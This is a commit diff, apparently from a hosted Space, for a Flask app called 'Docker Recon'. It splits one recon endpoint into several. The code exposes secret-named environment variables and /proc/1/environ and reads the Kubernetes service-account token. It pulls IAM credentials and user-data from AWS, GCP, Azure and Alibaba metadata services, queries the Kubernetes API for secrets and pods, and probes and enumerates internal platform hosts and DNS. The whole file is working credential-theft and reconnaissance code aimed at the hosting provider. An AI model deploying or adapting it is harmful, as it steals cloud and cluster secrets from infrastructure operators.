dia2diab commited on
Commit
82544f7
·
1 Parent(s): 3550dc5

Split recon into individual endpoints with shorter timeouts

Browse files
Files changed (1) hide show
  1. app.py +166 -59
app.py CHANGED
@@ -5,79 +5,186 @@ app = Flask(__name__)
5
 
6
  @app.route("/")
7
  def index():
8
- return "<h1>Docker Recon</h1><a href='/recon'>Run Recon</a>"
9
 
10
- @app.route("/recon")
11
- def recon():
12
  r = {}
13
-
14
- # All env vars
15
- r["env"] = {k:v for k,v in sorted(os.environ.items())
16
- if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API"])}
17
-
18
- # Cloud metadata - try with different methods
19
- for name, cmd in [
20
- ("aws_meta", ["curl","-s","-m","3","http://169.254.169.254/latest/meta-data/"]),
21
- ("aws_iam", ["curl","-s","-m","3","http://169.254.169.254/latest/meta-data/iam/security-credentials/"]),
22
- ("aws_imdsv2_token", ["curl","-s","-m","3","-X","PUT","http://169.254.169.254/latest/api/token","-H","X-aws-ec2-metadata-token-ttl-seconds: 21600"]),
23
- ("aws_userdata", ["curl","-s","-m","3","http://169.254.169.254/latest/user-data"]),
24
- ]:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
  try:
 
 
 
 
26
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
27
  r[name] = {"stdout": p.stdout[:500], "stderr": p.stderr[:200], "rc": p.returncode}
28
  except Exception as e: r[name] = str(e)
29
-
30
- # K8s probing
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
31
  k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
32
- k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "443")
 
33
  if k8s_host:
34
- r["k8s"] = {}
35
- # Try with and without service account token
36
- sa_token = ""
37
- try:
38
- with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
39
- sa_token = f.read().strip()
40
- r["k8s"]["sa_token_exists"] = True
41
- r["k8s"]["sa_token_preview"] = sa_token[:50] + "..."
42
- except:
43
- r["k8s"]["sa_token_exists"] = False
44
-
45
- for path in ["/version", "/api", "/api/v1/pods", "/api/v1/secrets", "/api/v1/configmaps", "/api/v1/namespaces"]:
46
  try:
47
- cmd = ["curl","-sk","-m","3",f"https://{k8s_host}:{k8s_port}{path}"]
48
- if sa_token:
49
- cmd += ["-H", f"Authorization: Bearer {sa_token}"]
 
 
 
 
50
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
51
- r["k8s"][path] = p.stdout[:300] if p.stdout else f"empty rc={p.returncode}"
52
- except Exception as e: r["k8s"][path] = str(e)
53
-
54
- # DNS enumeration
55
- r["dns"] = {}
56
- try:
57
- p = subprocess.run(["dig","any","kubernetes.default.svc.cluster.local","@10.108.0.2","+short"], capture_output=True, text=True, timeout=5)
58
- r["dns"]["k8s_svc"] = p.stdout[:200]
59
- except Exception as e: r["dns"]["k8s_svc"] = str(e)
60
-
61
  # Network interfaces
62
  try:
63
- p = subprocess.run(["ip","addr"], capture_output=True, text=True, timeout=5)
64
- r["network"] = p.stdout[:500]
65
- except Exception as e: r["network"] = str(e)
66
-
67
- # Process list
68
  try:
69
- p = subprocess.run(["ps","aux"], capture_output=True, text=True, timeout=5)
70
- r["processes"] = p.stdout[:500]
71
- except Exception as e: r["processes"] = str(e)
72
-
73
- # /proc/1/environ (init process env)
74
  try:
75
- with open("/proc/1/environ") as f:
76
- env_raw = f.read()
77
- envs = {kv.split("=",1)[0]:kv.split("=",1)[1] for kv in env_raw.split("\0") if "=" in kv and any(x in kv.upper() for x in ["TOKEN","SECRET","KEY","AWS","HF_"])}
78
- r["proc1_env"] = envs
79
- except Exception as e: r["proc1_env"] = str(e)
80
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
81
  return jsonify(r)
82
 
83
  if __name__ == "__main__":
 
5
 
6
  @app.route("/")
7
  def index():
8
+ return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env Vars</a></li><li><a href='/metadata'>Cloud Metadata</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Network</a></li><li><a href='/proc'>Processes</a></li><li><a href='/dns'>DNS</a></li></ul>"
9
 
10
+ @app.route("/env")
11
+ def env():
12
  r = {}
13
+ r["all_env"] = {k:v for k,v in sorted(os.environ.items())
14
+ if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API","GOOGLE","AZURE","CRED","PASSWORD","MONGO","REDIS","DATABASE","SERVICE"])}
15
+ r["all_env_keys"] = sorted(os.environ.keys())
16
+ # Check for SA token
17
+ try:
18
+ with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
19
+ r["k8s_sa_token"] = f.read()[:100] + "..."
20
+ except: r["k8s_sa_token"] = "not found"
21
+ try:
22
+ with open("/var/run/secrets/kubernetes.io/serviceaccount/namespace") as f:
23
+ r["k8s_namespace"] = f.read()
24
+ except: r["k8s_namespace"] = "not found"
25
+ # /proc/1/environ
26
+ try:
27
+ with open("/proc/1/environ", "rb") as f:
28
+ envs = f.read().decode("utf-8", errors="replace").split("\0")
29
+ r["proc1_env"] = [e for e in envs if any(x in e.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","KUBE","CRED"])]
30
+ except Exception as e: r["proc1_env"] = str(e)
31
+ return jsonify(r)
32
+
33
+ @app.route("/metadata")
34
+ def metadata():
35
+ r = {}
36
+ urls = [
37
+ ("imdsv1", "http://169.254.169.254/latest/meta-data/"),
38
+ ("imdsv1_iam", "http://169.254.169.254/latest/meta-data/iam/security-credentials/"),
39
+ ("imdsv1_userdata", "http://169.254.169.254/latest/user-data"),
40
+ ("imdsv1_identity", "http://169.254.169.254/latest/dynamic/instance-identity/document"),
41
+ ("gcp", "http://metadata.google.internal/computeMetadata/v1/"),
42
+ ("azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"),
43
+ ("alibaba", "http://100.100.100.200/latest/meta-data/"),
44
+ ]
45
+ for name, url in urls:
46
  try:
47
+ headers = []
48
+ if "google" in url: headers = ["-H", "Metadata-Flavor: Google"]
49
+ if "azure" in url: headers = ["-H", "Metadata: true"]
50
+ cmd = ["curl", "-s", "-m", "3"] + headers + [url]
51
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
52
  r[name] = {"stdout": p.stdout[:500], "stderr": p.stderr[:200], "rc": p.returncode}
53
  except Exception as e: r[name] = str(e)
54
+ # IMDSv2 token attempt
55
+ try:
56
+ p = subprocess.run(["curl", "-s", "-m", "3", "-X", "PUT",
57
+ "http://169.254.169.254/latest/api/token",
58
+ "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
59
+ capture_output=True, text=True, timeout=5)
60
+ token = p.stdout.strip()
61
+ r["imdsv2_token"] = {"stdout": token[:100], "rc": p.returncode}
62
+ if token:
63
+ p2 = subprocess.run(["curl", "-s", "-m", "3",
64
+ "-H", f"X-aws-ec2-metadata-token: {token}",
65
+ "http://169.254.169.254/latest/meta-data/"],
66
+ capture_output=True, text=True, timeout=5)
67
+ r["imdsv2_meta"] = {"stdout": p2.stdout[:500], "rc": p2.returncode}
68
+ except Exception as e: r["imdsv2"] = str(e)
69
+ return jsonify(r)
70
+
71
+ @app.route("/k8s")
72
+ def k8s():
73
+ r = {}
74
+ # K8s API via env
75
  k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
76
+ k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
77
+ r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
78
  if k8s_host:
79
+ for path in ["/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets",
80
+ "/apis", "/version", "/healthz", "/api/v1/nodes"]:
 
 
 
 
 
 
 
 
 
 
81
  try:
82
+ cmd = ["curl", "-s", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
83
+ # Try with SA token if exists
84
+ try:
85
+ with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
86
+ token = f.read().strip()
87
+ cmd += ["-H", f"Authorization: Bearer {token}"]
88
+ except: pass
89
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
90
+ r[f"k8s{path}"] = {"stdout": p.stdout[:300], "rc": p.returncode}
91
+ except Exception as e: r[f"k8s{path}"] = str(e)
92
+ return jsonify(r)
93
+
94
+ @app.route("/net")
95
+ def net():
96
+ r = {}
 
 
 
97
  # Network interfaces
98
  try:
99
+ p = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
100
+ r["ip_addr"] = p.stdout[:1000]
101
+ except: pass
102
+ # Routes
 
103
  try:
104
+ p = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=5)
105
+ r["ip_route"] = p.stdout[:500]
106
+ except: pass
107
+ # resolv.conf
 
108
  try:
109
+ with open("/etc/resolv.conf") as f: r["resolv"] = f.read()
110
+ except: pass
111
+ # hosts
112
+ try:
113
+ with open("/etc/hosts") as f: r["hosts"] = f.read()
114
+ except: pass
115
+ # Probe internal services (quick, no nmap)
116
+ for target in ["cas-server.xethub.hf.co", "10.0.0.1", "10.108.0.1", "10.108.0.2"]:
117
+ try:
118
+ p = subprocess.run(["curl", "-s", "-m", "2", f"http://{target}/"],
119
+ capture_output=True, text=True, timeout=4)
120
+ r[f"probe_{target}"] = {"stdout": p.stdout[:200], "rc": p.returncode}
121
+ except Exception as e: r[f"probe_{target}"] = str(e)
122
+ # Try reaching other Spaces
123
+ try:
124
+ p = subprocess.run(["curl", "-s", "-m", "3", "http://localhost:7860/"],
125
+ capture_output=True, text=True, timeout=5)
126
+ r["localhost_7860"] = p.stdout[:200]
127
+ except: pass
128
+ return jsonify(r)
129
+
130
+ @app.route("/proc")
131
+ def proc():
132
+ r = {}
133
+ try:
134
+ p = subprocess.run(["ps", "aux"], capture_output=True, text=True, timeout=5)
135
+ r["ps"] = p.stdout[:2000]
136
+ except: pass
137
+ # Mounts
138
+ try:
139
+ with open("/proc/mounts") as f: r["mounts"] = f.read()[:2000]
140
+ except: pass
141
+ # Cgroups
142
+ try:
143
+ with open("/proc/1/cgroup") as f: r["cgroup"] = f.read()[:500]
144
+ except: pass
145
+ # Capabilities
146
+ try:
147
+ p = subprocess.run(["cat", "/proc/1/status"], capture_output=True, text=True, timeout=5)
148
+ for line in p.stdout.split("\n"):
149
+ if "Cap" in line: r.setdefault("caps", []).append(line.strip())
150
+ except: pass
151
+ # Check if we're privileged
152
+ try:
153
+ p = subprocess.run(["whoami"], capture_output=True, text=True, timeout=5)
154
+ r["whoami"] = p.stdout.strip()
155
+ except: pass
156
+ try:
157
+ p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
158
+ r["id"] = p.stdout.strip()
159
+ except: pass
160
+ return jsonify(r)
161
+
162
+ @app.route("/dns")
163
+ def dns():
164
+ r = {}
165
+ queries = [
166
+ "kubernetes.default.svc.cluster.local",
167
+ "kube-dns.kube-system.svc.cluster.local",
168
+ "*.default.svc.cluster.local",
169
+ "*.svc.cluster.local",
170
+ "hub.internal",
171
+ "mongo.internal",
172
+ "redis.internal",
173
+ "postgres.internal",
174
+ "api.internal",
175
+ "cas-server.xethub.hf.co",
176
+ ]
177
+ for q in queries:
178
+ try:
179
+ p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
180
+ r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
181
+ except Exception as e: r[q] = str(e)
182
+ # Reverse DNS on known IPs
183
+ for ip in ["10.108.0.1", "10.108.0.2"]:
184
+ try:
185
+ p = subprocess.run(["dig", "+short", "-x", ip], capture_output=True, text=True, timeout=5)
186
+ r[f"rev_{ip}"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
187
+ except Exception as e: r[f"rev_{ip}"] = str(e)
188
  return jsonify(r)
189
 
190
  if __name__ == "__main__":